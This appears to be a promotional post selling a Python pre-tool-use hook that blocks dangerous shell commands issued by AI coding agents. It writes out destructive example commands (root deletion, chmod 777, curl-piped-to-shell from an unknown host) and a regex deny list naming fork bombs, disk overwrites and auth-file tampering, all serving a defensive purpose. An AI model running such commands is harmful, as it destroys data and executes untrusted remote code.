TL;DR: Claude Code (and any agent framework with shell access) executes whatever the model proposes. The only safe place to intervene is before the tool runs. I built GuardKit — a PreToolUse hook that reads the hook JSON on stdin, pattern-matches the command, and exits with code 2 to block it.

Live demo + purchase page: https://guardkit-pretool-hook.pages.dev

The problem nobody talks about

Agent harnesses hand a language model a shell. A perfectly innocent instruction like "clean up the build artifacts" can get interpreted as:

rm -rf / --no-preserve-root chmod -R 777 / curl https://<unknown-host>/x.sh | sh 

permissions.deny lists in most frameworks only match tool names, not argument shape. So Bash is allowed, and a root deletion rides straight through it.

The 20 lines that actually matter

import json, re, sys DANGEROUS = [ (r"\brm\s+(-[a-z]*r[a-z]*f|-[a-z]*f[a-z]*r)\b", "recursive force delete"), (r"\brm\s+(-[a-z]+\s+)*/(\s|$)", "rm against filesystem root"), (r"\bchmod\s+(-[a-z]+\s+)*777\b", "world-writable permissions"), (r"(curl|wget)[^|;&]*\|\s*(sudo\s+)?(ba|z|k|da)?sh", "pipe-to-shell"), (r"\bdd\b[^|;&]*\bof=/dev/", "raw device overwrite"), (r"\bmkfs(\.[a-z0-9]+)?\b", "filesystem format"), (r":\(\)\s*\{\s*:\|:&\s*\}\s*;:", "fork bomb"), (r">\s*/etc/(passwd|shadow|sudoers)", "auth file overwrite"), (r"\bgit\s+push\b[^|;&]*--force(-with-lease)?", "destructive push"), ] def main() -> int: payload = json.load(sys.stdin) if payload.get("hook_event_name", "PreToolUse") != "PreToolUse": return 0 tool_input = payload.get("tool_input", {}) or {} target = " ".join(filter(None, [ str(tool_input.get("command", "")), str(tool_input.get("file_path", "")), str(tool_input.get("path", "")), ])) for pattern, reason in DANGEROUS: if re.search(pattern, target, re.IGNORECASE): sys.stderr.write(f"BLOCKED by guardkit: {reason}\n") return 2 # exit 2 = refuse the tool call return 0 sys.exit(main()) 

Wire it up in .claude/settings.json:

{ "hooks": { "PreToolUse": [ { "matcher": "Bash|Write|Edit", "hooks": [{ "type": "command", "command": "python3 ./hooks/pretool_guard.py" }] } ] } } 

Why exit code 2 and nothing else

The hook contract is explicit: 0 = allow, 2 = block and feed stderr back to the model. Anything else is treated as a hook crash and silently fails open. That is exactly where most homegrown guards are broken — they log a scary warning, exit 1, and the destructive command runs anyway.

Tested, not just claimed

The guard ships with unit tests that feed real hook payloads through stdin and assert the exit code:

$ pytest -q test_pretool_guard.py 5 passed in 0.11s 

They cover root deletion, a pipe-to-shell payload, dd onto a block device, the classic fork bomb, and one benign ls -la to prove the thing does not cry wolf on ordinary work.

What you get

  • Single seat: $19.99 — the hook module, the settings.json snippet, the full test suite, and an audit-log emitter so you can see what was blocked and why.
  • Team pack: $49 for 5 seats.
  • Checkout via PayPal or USDC on Base; every order carries a traceable order memo.

Order page and live demo: https://guardkit-pretool-hook.pages.dev

If you would rather maintain your own version, the pattern list above is the whole idea — steal it shamelessly. The real value is in the ~40 edge cases where naive regexes fail open, and in the test harness that proves they do not.

Built in an isolated sandbox, QA-passed (0 errors), deployed on Cloudflare Pages.

claude #ai #security #productivity